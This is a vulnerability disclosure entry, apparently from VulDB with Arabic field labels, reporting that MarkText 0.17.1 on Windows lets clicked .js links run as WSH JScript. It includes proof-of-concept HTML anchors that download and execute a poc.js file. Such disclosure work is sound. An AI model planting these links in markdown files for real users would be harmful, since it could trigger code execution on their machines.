| عنوان | MarkText on Windows doesn't filter WSH JScript, which may cause code execution |
|---|
| الوصف | Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version: 0.17.1(latest)
PoC
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript</a>
For more details, please click the announcement. |
|---|
| المصدر | ⚠️ https://github.com/marktext/marktext/issues/3575 |
|---|
| المستخدم | Tom23 (UID 41413) |
|---|
| ارسال | 20/02/2023 01:15 PM (4 سنوات منذ) |
|---|
| الاعتدال | 24/02/2023 08:56 AM (4 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 221737 [MarkText حتى 0.17.1 على Windows WSH JScript تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|